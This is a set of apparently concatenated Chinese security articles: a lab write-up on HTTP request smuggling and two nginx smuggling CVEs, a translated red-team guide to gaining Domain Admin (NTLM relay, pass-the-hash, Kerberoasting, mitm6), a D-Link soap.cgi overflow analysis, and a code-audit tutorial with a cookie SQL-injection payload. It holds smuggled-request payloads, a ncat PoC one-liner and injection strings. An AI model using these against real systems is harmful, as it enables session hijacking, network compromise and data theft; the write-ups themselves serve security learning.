POST / HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded
search=123
看这个数据包，CL字段的值编辑为99，很显然345行的代码量绝对不足99，因此后端服务器在收到这个请求之后，会因为99而认为没有传输完毕，继续等待传输，然后我们继续发送数据包，后端收到的是前端处理好的请求，当接收的总长度到达99时，后端服务器来回认为这个请求传输完毕了，然后进行相应
那他收到的请求到底是什么样子的呢？
POST / HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded
search=123POST / HTTP/1.1
X-vNEiJW-Ip: 60.208.116.230
Host: 0af50032039935cac09024a000f90051.web
又因为search的结果会会回显，所以就得到了请求头
有人要问了：啊我直接添加`X-vNEiJW-Ip: 127.0.0.1`这个请求头不就行了吗？
那我们试试
可以发现并不会被识别，这是因为我们伪造的`X-vNEiJW-Ip`被服务器加上的`X-vNEiJW-Ip`覆盖掉了，我们可以利用上面提到的技巧，同样利用`Content-Length`将服务器加上的header给截断。
成功访问到admin
然后删除数据就行了
## 捕获其他用户的请求
题目要求是将请求走私到后端服务器，导致下一个用户的请求存储在应用程序中。然后检索下一个用户的请求并使用受害用户的 cookie 访问他们的帐户。
所以我们要找到一个可以保存法没回信息的功能点，然后通过smuggling等待用户访问，从而将用户的请求会现在功能点上。
发现它的评论是可以返会并保存且可见的
那我们直接构造一个smuggling请求
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Cookie: session=KNcf39DxFk6mablQsC1OtaXSs1ryF37z
csrf=zqKh3HpJ0bsKnWNIaPjMmPnjig4efP22&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test
他的用户访问大概是两分钟一次吧。
回显是这样的
此时我已经发现有些不对了，这不是我的信息吗......不确定，再看看，这里发现最重要的cookie还没有出现，那就增大CL的长度，让回显更多一些
和我自己的cookie是一样的....
这抓半天抓到自己了，又重新做了几遍，结果都是抓的自己的cookie，应该是自己成为了在发包之后发评论的用户导致的，只能说这个靶场有些小问题，用户访问的太慢了，当我调大CL长度之后又直接报错了，就这样吧
原理是比较好理解的，和上个题目有些相似。
# 两个洞
## CVE-2019-20372
Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。
MITRE CVE 字典将此问题描述为：1.17.7 之前的 NGINX 具有某些 error_page 配置，允许 HTTP 请求走私，攻击者能够在
NGINX 由负载均衡器前端的环境中读取未经授权的网页
它不使用 error_page 进行 302 重定向。它仅使用 error_page 使用命名位置，即：`error_page 404
/404.html；`
`location = /40x.html { } error_page 500 502 503 504 /50x.html; location =
/50x.html { }`
构造请求头
GET /test.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 2
GET /poc.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 15
收到如下反应
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 33
Last-Modified: Thu, 30 Apr 2020 14:36:32 GMT
Connection: keep-alive
ETag: "5eaae270-21"
Accept-Ranges: bytes
<html><h1>Test Page!</h1></html>
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 15
Last-Modified: Thu, 30 Apr 2020 14:35:41 GMT
Connection: keep-alive
ETag: "5eaae23d-f"
Accept-Ranges: bytes
NGINX PoC File
这里看看v0w师傅是咋写的
server {
listen 80;
server_name localhost;
error_page 401 http://example.org;
location / {
return 401;
}
}
server {
listen 80;
server_name notlocalhost;
location /_hidden/index.html {
return 200 'This should be hidden!';
}
}
这时候我们可以向服务器发送以下请求
GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost
看一下服务器是怎么处理的
printf "GET /a HTTP/1.1\r\nHost: localhost\r\nContent-Length: 56\r\n\r\nGET
/_hidden/index.html HTTP/1.1\r\nHost: notlocalhost\r\n\r\n" | ncat localhost 80 --noshutdown
等于说是吧两个请求都间接的执行了，我们看一下burp里面的返回值
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.org
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive
This should be hidden!
## CVE-2020-12440
Nginx 1.18.0及之前版本中存在安全漏洞。攻击者可利用该漏洞进行缓存投毒，劫持凭证或绕过安全保护。
构造请求
GET /test.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 2
GET /poc.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 15
回显
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 33
Last-Modified: Thu, 30 Apr 2020 14:36:32 GMT
Connection: keep-alive
ETag: "5eaae270-21"
Accept-Ranges: bytes
<html><h1>Test Page!</h1></html>
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 15
Last-Modified: Thu, 30 Apr 2020 14:35:41 GMT
Connection: keep-alive
ETag: "5eaae23d-f"
Accept-Ranges: bytes
NGINX PoC File
没有什么特别的配置
这里还是看了v0w师傅的解....网上关于这两个洞的分析太少了。
CL!=0的情况
利用方面只需要注意计算好CL即可。可以发现这里的两个请求都进行了处理
GET /hello.html HTTP/1.1
Host: 172.16.40.146
Content-Length: 2
GET /test.html HTTP/1.1
Host: 172.16.40.146
Content-Length: 2
这个payload亲测能解
GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: 4
Transfer-Encoding : chunked
46
GET /404 HTTP/1.1
Host: 127.0.0.1
Content-Length:15
aa
0s | 社区文章 |
# 在午餐前获取内部网络域管理员的五大方法（2018版）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
一个可怕的现状：我在网络安全领域工作多年，从事大范围的渗透和红队服务。是的，与我刚开始进行渗透测试时一样，在“午餐前”获得Domain
Admin仍然是很容易的事情。
早在2013年9月，SpiderLabs就撰写了一篇题为“
[**SpiderLabs在您的内部网络上获得域管理员的五大方法**](https://www.trustwave.com/Resources/SpiderLabs-Blog/Top-Five-Ways-SpiderLabs-Got-Domain-Admin-on-Your-Internal-Network/)”的文章。本文是为向原文致敬，并续写一个非官方的“第二部分”。
## Netbois和LLMNR命名投毒（Netbios and LLMNR Name Poisoning）
我希望我能说Netbios /
LLMNR并不像2013年那么流行。但绝大多数安全评估中，评估者都可获得NTLMv1和NTLMv2哈希值并恢复为可用凭据。为了辅助破解捕获的Hash值，现在有了像[hate_crack](https://github.com/trustedsec/hate_crack)这样的高级框架来协助完成密码暴力破解工作。
我个人使用一个常见单词表（破解成功率很高），这个单词表由“
[uniqpass](https://webcache.googleusercontent.com/search?q=cache:BV8AEB0cWtcJ:https://dazzlepod.com/uniqpass/+&cd=1&hl=en&ct=clnk&gl=us)
”（原文链接上不去，这里提供一个互联网档案馆的[链接](http://web.archive.org/web/20170831200523/http://dazzlepod.com/uniqpass/)），以及hashcat的best64规则集组成。但很多时候，系统会强制要求复杂密码。这时除了暴力破解一些hash值，没有别的选择。
Responder，可以说是与mitm投毒和欺骗相关事项的首选工具。它仍然由Laurent Gaffie积极维护中。
[Inveigh](https://github.com/Kevin-Robertson/Inveigh)由原生Windows
.NET编写，是Responder的兄弟（Unix/Linux下Python编写）。
Inveigh的核心是一个.NET数据包嗅探器，它侦听并响应LLMNR / mDNS / NBNS请求，同时还捕获通过Windows
SMB服务传入的NTLMv1 / NTLMv2身份验证尝试。
这两款中间人工具都旨在协助在Windows系统进行渗透测试的渗透测试人员、红队人员。
## 中继攻击(Relay attacks)
Responder中的新工具MultiRelay由Laurent Gaffie维护，该工具为无缝的SMB中继攻击而设计。
我个人更喜欢使用impacket中的工具来满足中继和其他渗透测试需求。我发现Impacket的工具在大多数unix上都可靠和稳定，并可在Mac
OS上原生运行。与其他免费的开源工具相比，它们在主机上执行时会留下相对较小的取证痕迹（如果您担心这些噪音、希望隐蔽或不得不抵挡蓝队）。
为了下面这些例子的使用，让我们预先安装[impacke](https://github.com/CoreSecurity/impacket)t 。
## SMB中继解释
[**smbrelayx.py**](https://github.com/CoreSecurity/impacket/blob/impacket_0_9_15/examples/smbrelayx.py)
该模块用于执行最初由cDc发现的SMB
Relay攻击。它接收一个进行中继目标的参数，为每个接收到的连接选择下一个目标并尝试中继凭证。此外，如果指定参数，它将首先对连接到我们的客户端进行身份验证。
它实现了Hook了部分函数的SMB服务器与HTTP服务器以及smbclient的部分功能。它可以在任何LM兼容级别上工作。阻止这种攻击的唯一方法是强制执行服务器SPN检查或签名。
如果目标系统开启了强制签名并且有一个机器账号，这个模块将会尝试使用NETLOGON（CVE-2015-0005）进行Session Key 的收集。
如果针对目标的身份验证成功，则客户端同样身份验证成功，并且将会与本地SMB服务器简历有效连接。用户可以针对需要设置本地SMB服务器。一种选择是配置一些共享文件，使受害者认为他连接到了正确的SMB服务器。以上操作都是通过smb.conf文件或以编程方式完成的。
###
## NTLM中继说明
[**ntlmrelayx.py**](https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py)
NTLM身份验证是基于挑战 – 响应的协议。挑战 –
响应协议使用共享密钥（在这种情况下为用户密码）来验证客户端。服务器发送一个挑战，客户端对这个挑战进行回应。如果挑战与服务器计算的挑战匹配，则认证成功。NTLM身份验证是一个复杂的协议，这里只是简单的介绍了下它如何工作。有兴趣详细了解可以看：[http://davenport.sourceforge.net/ntlm.html>](http://davenport.sourceforge.net/ntlm.html>)
ntmlreayx和随机选择的目标↑
SMBRelay和较新的攻击都利用SMB签名，允许特权用户通过SMB / NTLM身份验证机制进行身份验证。
* 注意不同网络上的Windows主机列表中包含的目标很重要。我的一个很好的窍门是以随机方式创建非签名SMB主机的目标列表（It is important to note that the targets contained in the list of Windows hosts on different networks. A nice trick of mine is to create your target lists of non smb signed hosts in a randomized fashion）
* 下面的这种情况的主机，让我能够加速的获得域管理员：域管理员允许域用户以本地管理员权限访问那些本地密码与域密码相同的SQL Server（The host below, which expedited me getting domain admin allowed domain users local admin access to a SQL server that shared the same local admin password with a Domain Controller)
#### 默认情况下，如果不指定要执行的二进制文件，ntlmrealyx将运行secretsdumps。
管理员散列↑
成功完成NTLM中继后，您会在执行ntmrelayx的目录中找到名为“IP_samhashes”的HASH文件。
使用这个管理员散列，我用臭名昭着的[pass-the-hash](https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283)技术使用了impacket的wmiexec.py获得了域管理员权限。
域控制器的Shell权限↑
mitm6 + ntlmrelayx + pth = Domain Amin↑
在上面的场景中，我能够将凭证从一个网络转发到另一个网络，并检索到可以通过wmiexec.py传递的管理员HASH。这个特定的本地管理员HASH让我可以在不破解密码的情况下获得域管理员，甚至事先拥有有效的域用户帐户。
## MS17-010
[**nmap -Pn -p445 – open – max-hostgroup 3 – smb-vuln-ms17-010
script**](https://isc.sans.edu/forums/diary/Using+nmap+to+scan+for+MS17010+CVE20170143+EternalBlue/22574/)
ETERNALBLUE，ETERNALCHAMPION，ETERNALROMANCE和ETERNALSYNERGY是2017年4月14日由Shadow
Brokers组织发布的多个方程式组织的漏洞和exploits中的四个。WannaCry /
WannaCrypt是一个利用ETERNALBLUE漏洞的勒索软件程序，EternalRocks是一种使用7个方程式组织漏洞的蠕虫。Petya是一个勒索软件程序，首先使用Microsoft
Office中的漏洞CVE-2017-0199，然后通过ETERNALBLUE传播。
2018年的“8067”↑
## Kerberoasting
> 我已经使用称为Kerberoasting的攻击方法在Active Directory域环境中多次成功提权。[Tim
> Medin](https://twitter.com/TimMedin)在[SANS Hackfest
> 2014上](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20-%20Tim%20Medin%281%29.pdf)发表了这种技术，从那以后，已经有很多关于攻击细节的精彩文章和会议讲座和利用不同技巧编写的工具（在本文底部的参考链接）。
>
> Microsoft的Kerberos实现方式可能有点复杂，但对其进行攻击是利用它对旧版Windows客户端的传统Active
> Directory支持、使用的加密类型和用于加密和签名Kerberos tickets的密钥材料。
>
> 实质上，当一个域帐户被配置为在域环境中运行服务（例如MS
> SQL）时，域将使用服务主体名称（SPN）将该服务与登录帐户相关联。当用户希望使用特定资源时，他们会收到一个使用正在运行该服务的帐户的NTLM哈希签名的Kerberos票据。
下面的例子来自[mubix的网站](https://room362.com/post/2016/kerberoast-pt1/)
root@wpad:~/impacket/examples# ./GetUserSPNs.py -dc-ip 192.168.168.10 sittingduck.info/notanadmin
Impacket v0.9.15-dev - Copyright 2002-2016 Core Security Technologies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet
---------------------------------- ---------- ------------------------------------------------ ------------------- http/win10.sittingduck.info uberuser CN=Domain Admins,CN=Users,DC=sittingduck,DC=info 2015-11-10 23:47:21
MSSQLSvc/WIN2K8R2.sittingduck.info sqladmin01 2016-05-13 19:13:20
## mitm6
Mitm6是一个非常强大的工具，它用于在典型的Windows广播网络上获取和提升权限。当其他的攻击方法失败时，尝试使用smbrelay +
mitm6或默认的ntlmreayx。利用你的想象力，在午餐前利用mitm6的力量获得域管理员！
mitm6欺骗↑
## ntlmrelayx的用法
mitm6设计上是与ntlmrelayx一同使用。您应该依次运行这些工具，在这种情况下，它会欺骗DNS，导致受害者连接到HTTP和SMB连接到ntlmrelayx。为此，您必须确保使用该`-6`选项运行ntlmrelayx
，这会使其同时监听IPv4和IPv6。要获取WPAD的凭据，请指定WPAD主机名进行欺骗`-wh
HOSTNAME`（由于DNS服务器是mitm6，本地域中的任何不存在的主机名都将起作用）。如果您怀疑受害者没有修补MS16-077漏洞，您也可以使用`-wa
N`参数尝试进行多次对WPAD文件本身进行身份验证的提示。
mitm6是一种利用Windows默认配置接管默认DNS服务器的渗透测试工具。它通过回复DHCPv6消息来执行此操作，向受害者提供链接本地的IPv6地址并将攻击者主机设置为默认DNS服务器。DNS服务器(mitm6)将有选择地回复攻击者选择的DNS查询，并将受害者流量重定向到攻击者机器而不是合法服务器。有关这种攻击的完整说明，请参阅我们的[关于mitm6](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/)的[博客](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/)
。Mitm6旨在与[来自impacket的ntlmrelayx](https://github.com/CoreSecurity/impacket)一起使用，用于WPAD欺骗和证书中继。
关于下面的引用: 这个博客的许多部分直接引用和复制下面的来源。所有功劳归于那些完成我引用的惊人工作的人。
_Hack all things and be responsible !!!_
## 参考链接
> <https://1337red.wordpress.com/using-a-scf-file-to-gather-hashes/>
>
> <https://github.com/lgandx/Responder>
>
> <https://github.com/Kevin-Robertson/Inveigh>
>
> <https://github.com/purpleteam/snarf>
>
> <https://github.com/fox-it/mitm6>
>
> <https://www.blackhillsinfosec.com/a-toast-to-kerberoast/>
>
> <https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/>
>
> <https://github.com/SecWiki/windows-kernel-> exploits/blob/master/MS17-010/ms17_010_eternalblue.rb>
>
> <https://room362.com/post/2016/kerberoast-pt1/>
>
>
> <https://isc.sans.edu/forums/diary/Using+nmap+to+scan+for+MS17010+CVE20170143+EternalBlue/22574> | 社区文章 |
# CVE-2018-5318：D-Link soap.cgi 缓冲区溢出
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
#
> 老板前一段给买了几款路由把玩，研究了下D-Link DIR 629、DIR 823这两款板子。发现在 _soap.cgi_
> 中存在几处栈溢出，均可以远程利用，并且其他型号的路由也有对soap这一部分代码的复用。
## 逆向分析与漏洞挖掘
因为是想挖几个能远程利用的洞，首先去看了HTTP服务，也就是 _/htdocs/cgibin_ 。
D-Link HTTP服务由 _cgibin_ 提供，并通过软链接的文件名进入到不同的处理分支：
在各个cgi处理函数中，会通过 _cgibin_parse_request_ 来解析用户输入，其函数原型大致如下：
参数 _save_param_func_ 用于传入解析/存储HTTP请求的具体handler，读取HTTP请求后使用该handler具体处理用户输入。在
_soapcgi_main（0x00418E28）_ 中传入了漏洞函数 _vulnerable_sprintf_parser_ _（0x0041893C）_
：
跟进 _vulnerable_sprintf_parser_ 可以发现程序未进行边界检查便将全局变量 _g_http_soapaction_ 通过
_sprintf_ 写到栈上：
_g_http_soapaction_ 来自于 _soapcgi_main_ 中对HTTP Header _SOAPACTION_ 字段的解析：
取 _HTTP_SOAPACTION_ ：
取 _#_ 后的值：
至此漏洞原理已经明了： _soapcgi_main_ 中未进行边界检查便将HTTP Header中的SOAPACTION字段存储至栈上，导致栈溢出。
## 漏洞利用
基础信息：
MIPS大端序，开启了NX，未开启ASLR、PIE，只需要做个ROP。
溢出的崩溃现场如下：
$S0、$S2-S3、$FP、$SP指向的内存可控，要编写ROP只能在这几个寄存器上做文章，最终用ropper在uClibc中找了个很不错的gadget：
现在需要做的就是找到libc加载的实际基址。
在隔壁开锁王师傅的指导下把板子拆开，接上串口：
成功获取到shell：
拿到shell后读/proc/pid/maps就可以获取到libc的加载基址。
最终编写ROP如下：
攻击演示： | 社区文章 |
# 【技术分享】由浅入深教你学会源代码审计系列（一）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **hac425**
****](http://bobao.360.cn/member/contribute?uid=2553709124)
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**代码审计总论**
安全圈里有句老话：一切的用户输入都是有害的。的确，我们的所有安全测试都是基于这一点的。既然用户的一切输入都是有害的，那么怎样使这个危害显现出来呢？这就引入了安全的另一句话：有害的数据进入了危险的函数便产生了漏洞
，因此我们可以总结出安全的两个基本点，数据和函数，我们所做的所有安全相关的工作都是基于这两点。代码审计自然也不例外。
根据这两点，代码审计中又出现了两大审计的基本方法，分别是
**1\. 跟踪用户的输入数据，判断数据进入的每一个代码逻辑是否有可利用的点，此处的代码逻辑可以是一个函数，或者是条小小的条件判断语句。**
**2\.
根据不同编程语言的特性，及其历史上经常产生漏洞的一些函数，功能，把这些点找出来，在分析函数调用时的参数，如果参数是用户可控，就很有可能引发安全漏洞**
这两种方法各有所长，使用第一种方法我们能最大限度的找到程序的安全漏洞，但是跟踪数据的走向是一件工作量极大的事情，如果想跟一套程序死磕，此法
极好，因为在跟踪变量的时候，就是对程序的一个理解的过程，跟的越多，我们走过的
程序流程就越多，对程序的理解就会越深厚，对程序理解的越深，就越有可能挖掘出精彩的漏洞。
第二种方法的优点就是我们能够尽快的找到安全漏洞，但是由于我们没有跟踪完所有的用户参数，我们就必定会有所疏漏，不可能找到程序的所有漏洞，同时回溯参
数，寻找函数的调用点，在一些情况下也是一件非常头疼的事情，不过相比第一种方法我们工作量还是少了不少。总而言之，我们想要快速的找到漏洞，需要灵活的
使用两种方法，怎么灵活，这就要靠经验了，最后提一句，这东西入门后就是体力活了。。。。。
**审计辅助工具：**
**sublime 一款十分好用的编辑器 匹配规则 搜索函数 简单的跟踪变量**
**各种对应编程语言的 IDE 用于调试程序，追踪变量**
**
**
**真正寻找漏洞之前**
现在的cms大致可分为两种，单入口模式和多入口模式.所谓多入口模式cms在前几年是一种非常常见的程序设计模式，它的形式是我们使用程序的每一个功能都需要访问不同的文件，比如：我要使用注册功能就要访问regest.php文件，使用评论功能就要访问comment.php，这种模式的程序在现在来说，在asp的cms中居多，php中已经很罕见了。
单入口模式的cms，是伴随着一种叫做MVC的开发模式出来的，这种模式我在这简单提一下 ，所谓MVC编程架构，即将 程序分为三个层次，分别实现三大功能
**数据以何种形式展示给用户**
**程序的具体实现逻辑**
**数据的处理**
而我们审计的重点应该在`数据的处理层`，因为我们之前我已经说过，`用户的有害输入加上合适的函数就形成了漏洞`
，而`数据处理层`恰好就是处理我们输入数据的一个层次。由于这种编程模式拥有很多优点，现在大量的程序采用了这种编程模式，因此如果我们要审计这类程序，也必须要熟悉这种开发模式，至于怎么熟悉，请自行百度。
单入口模式程序的特点是，我们要使用程序的每一个功能只需要访问一个，或者两个文件 普通用户一个入口文件 、管理员一个入口文件
,要调用其他的文件中的具体的功能实现代码，我们只需向该入口文件提供特定的参数即可。这种 cms 的案例有很多，比如 wordpress,phpcms……
在审计代码时，审计`多入口`模式的程序会相对的比较简单，因为我们在找到漏洞后可以很快的找到进入漏洞的代码的方法，而`单入口`模式的程序，在正式审计之前，我们还需要理解程序各个文件之间的调用规则，当然这也是一件比较简单的事情，一般情况下，我们从入口文件跟一次程序的执行流程，就能基本理清程序的流程，其实在有了一定的经验之后，我们就能从参数的值猜出程序的执行流程。在理清程序的各个文件之间的调用关系之后，我们需要做的是，查看程序的一些配置文件，全局函数文件，这些文件里面很可能包含一定的过滤函数，能早一点发现
程序对参数的处理过程，我们就能及时地确定一些无法利用的漏洞点，这可以有助于减少我们的工作量。搞完这些工作之后，就开始进入具体漏洞搜寻工作。就像前
面说的那样，我们在进行漏洞搜寻时，我们有两种方式:
**第一种，我们通过搜索一些获取用户输入数据的函数，来找到用户输入数据的源头，之后我们从这里为起
点，跟踪数据的流向，分析在这整个过程中数据的处理情况，进而定位可能触发漏洞的点。**
**第二种，我们通过搜索一些经常产生安全问题的函数，比如执行数
据库查询的函数，执行系统命令的函数，文件操作类函数等等，在通过回溯这些函数在被调用时参数，判断参数是否我们可控，进而定位漏洞点。**
最后贴上我常用的正则：
PHP
$_SERVER|$_COOKIE|$_REQUEST|$_GET|$_POST 获取用户输入
eval(|assert(|system( 命令执行
require(|require_once(|include(|include_once( 文件包含
file_get_contents(|file(|fopen(|highlight_file(|show_source(|unlink 文件读取，写入，删除
simplexml_load_string XXE
unserialize 反序列化漏洞
ASP 的话，因为程序的流程相对比较简单，代码量也比较少，所以我一般选择直接跟变量，我就搜索 Request 关键字就能找到所有的数据输入点
.NET 搞的很少
，而且这一类程序往往需要反编译才能继续审计，因此对于这种程序，我没有什么好方法，我是一个一个函数去看的，如果各位有一些好的方法，敬请告知，谢谢。
jsp 没搞过。。。。
**一、代码审计之SQL注入篇**
在我们的日常日站中，相信SQL
注入漏洞是我们遇到最多，也可能是最希望遇到的一种漏洞了，这种漏洞出现了很久，危害也是十分巨大，具体危害就不多说了，相信大家都懂。。。我们大多数时候发现SQL注入漏洞是通过扫描器等黑盒测试手法来发现的，今天我来谈谈SQL注入漏洞的白盒审计手法。
首先我们从一个相对比较简单的 `asp` 程序开始讲，这次讲的是shop7z这套cms，该cms 是一个 `多入口`
的程序，也就是说它的每一个大的功能基本对应一个URL，我个人认为这样的程序是比较简单的，因为当我们找了可能触发的漏洞点后，就可以很快的进行验证，不需要太多的前期准备工作。既然是asp程序，我的一般做法是
直接搜索
request来找到我们用户所有可控的输入点。当然在此之前，我们还需要看看各个文件的开头，确定一些被多次的包含的文件，这些文件一般就是一些全局配置文件，全局函数文件，安全过滤文件。
总而言之就是一些相对来说比较重要的文件。通过查看shop7z这套程序的一些从名称上看比较重要的文件，我发现了一个比较有趣的文件：shop7z_safe.asp从文件名我们就能够猜出来，这个文件就是拿来，对用户参数进行过滤的，那我们进入文件中看看：
<%
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
'自定义需要过滤的字串,用 "曹" 分隔 ' 防止SQL注入以及XSS跨站攻击 /2016/1/3
Fy_In = "'曹;曹and曹exec曹insert曹select曹delete曹count曹*曹%曹chr曹mid曹master曹truncate曹char曹declare曹<曹>曹script"
'---------------------------------- %>
<%
Fy_Inf = split(Fy_In,"曹")
'--------POST部份------------------ If Request.Form<>"" Then
For Each Fy_Post In Request.Form
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.FormFy_Post)),Fy_Inf(Fy_Xh))<>0 Then
(
Response.Write "xxx<Script Language=JavaScript>('请不要对本站尝试进行非法操作谢谢合作^_^ ');history.go(-1);</Script>"
Response.End
End If
Next
Next
End If
'---------------------------------- '--------GET部份------------------- If Request.QueryString<>"" Then
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
Response.Write "xxx<Script Language=JavaScript>('请不要对本站尝试进行注入操作谢谢合作^_^ ');history.go(-1);</Script>"
Response.End
End If
Next
Next
End If
%>
可以看到，的确如我所料，这个文件就是拿来对我们的参数进行过滤的，不过这个过滤策略是很有问题的，首先这个过滤文件只是针对 SQL
注入攻击进行了过滤，而对其他漏洞，如 xss ，还有一个更大的问题，就是它只对 GET ,POST 参数进行了过滤，而忽视从 cookie
中过来的参数，这就很有可能会造成 cookie 注入。理解了程序对用户参数的过滤操作，你是否感到目标更加的明确，通过上面的分析我们可以制定这样的审计策略。
通过使用 sublime 的文件搜索功能，搜索 request 来获取用户的输入点，因为在 asp 程序中获取用户输入，使用的几个函数及其作用分别为：
request.QueryString（获取GET请求的参数)
request.form() (获取POST请求的参数)
request.cookie() (获取通过cookie传来的参数 request )
所以我们要找 SQL 注入漏洞的话，我们应该关注的输入点函数就是 能从
cookie中获取参数的函数，有了思路，就可以开始行动了，我们开始搜索，之后一个一个的跟进每一个搜索结果，我们就能发现 N
处注入了下面我选择一处来说明下吧：
漏洞文件： news.asp：
searchkey=request("searchkey")
searchkind=request("searchkind")
if searchkey<>"" then
sql3="select * from e_contect where c_parent2="&request.QueryString("l_id")&" and (c_title like '%"&searchkey&"%' or c_contect like '%"&searchkey&"%') order by c_num desc,c_addtime desc"
else
sql3="select * from e_contect where c_parent2="&request.QueryString("l_id")&" order by c_num desc,c_addtime desc"
end if
set rs3=server.CreateObject("adodb.recordset")
rs3.open sql3,conn,1,1
虽然该文件也包含了，全局过滤文件，但是这里用了 request() 函数来获取参数，那么我们就能通过 cookie 来传输参数值，而 cookie
中的值是没有经过过滤的，所以出现了注入，当我提交：
GET /news.asp?l_id=1 HTTP/1.1
Host: 127.0.0.1:99
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: _ga=GA1.1.1929133354.1465629589; COSPTLCBWXNQVBUKXIOJ=KSBKFPQVGIRJWBOELVYRTMRCNPDSIWYDIWYHQYNQ; searchkey=sss'and#
执行的语句是：
select * from e_contect where c_parent2=1 and (c_title like '%sss'and#%' or c_contect like '%sss'and#%') order by c_num desc,c_addtime desc
成功带入了查询，，，
下面我们来看一套 单入口 模式的 php 程序，这套 cms 的名称为 乐尚商城cms,这是一套典型的采用 MVC 编程模型编写的程序，而且它还将 URL
路由进行了重写，也就是说他的 URL 如果按照国际标准去解析他，是没有什么实际意义的，所以遇到这种程序，我们还需要理清它 URL
路由规则，找到参数名，与参数值的位置关系。
我们先来看看他的 URL 到底是怎样的：
前台：
后台：
下面我们来看看他的目录结构，
单入口的程序一般都采用类似这样的目录结构来编写，接着查看 index.php
文件，分析一下程序的执行流程，既然是单入口程序，那么程序的各个文件之间的调用关系必定都会在再 index.php
文件内实现。我们要理清程序的执行流程，这一步是必不可少的。
<?php
/**
* 单一入口文件
*/
include("./temp.inc.php");
define("TPLSTYLE", $temp['template']);//默认模板存放的目录
define("BROPHP", "./brophp"); //框架源文件的位置
define("APP", "./home"); //设置当前应用的目录
define("PAGENUM",$temp['home_page_num']); //默认每页显示记录数
if(!file_exists("install/install_lock.txt")){
header("Location:install/index.php");
exit();
}
if(is_mobile_request()){
header("Location:mobile.php");
}
require(BROPHP.'/brophp.php'); //加载框架的入口文件
function is_mobile_request()
{
.......................
}
?>
该文件开始包含了一个 temp.inc.php ，经分析，该文件内就是定义了一些变量，对我们而言并没有什么用，接下来又定义了一些常量，之后
require(BROPHP.'/brophp.php') 包含了一个文件，看注释可知这个文件应该就是一个比较关键的文件了，而且， index.php
文件后面已经没有什么内容了，所以调度整个程序的重担应该就在 brophp.php 文件内了，该文件内的一些关键代码：
/包含框架中的函数库文件
include BROPHP_PATH.'commons/functions.inc.php';
//包含全局的函数库文件，用户可以自己定义函数在这个文件中
$funfile=PROJECT_PATH."commons/functions.inc.php";
if(file_exists($funfile))
include $funfile;
//设置包含目录（类所在的全部目录）, PATH_SEPARATOR 分隔符号 Linux(:) Windows(;)
$include_path=get_include_path(); //原基目录
$include_path.=PATH_SEPARATOR.BROPHP_PATH."bases/"; //框架中基类所在的目录
$include_path.=PATH_SEPARATOR.BROPHP_PATH."classes/" ;//框架中扩展类的目录
$include_path.=PATH_SEPARATOR.BROPHP_PATH."libs/" ; //模板Smarty所在的目录
$include_path.=PATH_SEPARATOR.PROJECT_PATH."classes/";//项目中用的到的工具类
$controlerpath=PROJECT_PATH."runtime/controls/".TMPPATH; //生成控制器所在的路径
$include_path.=PATH_SEPARATOR.$controlerpath; //当前应用的控制类所在的目录
//设置include包含文件所在的所有目录
set_include_path($include_path);
//自动加载类
function __autoload($className){
if($className=="memcache"){//如果是系统的Memcache类则不包含
return;
}else if($className=="Smarty"){//如果类名是Smarty类，则直接包含
include "Smarty.class.php";
}else{ //如果是其他类，将类名转为小写
include strtolower($className).".class.php";
}
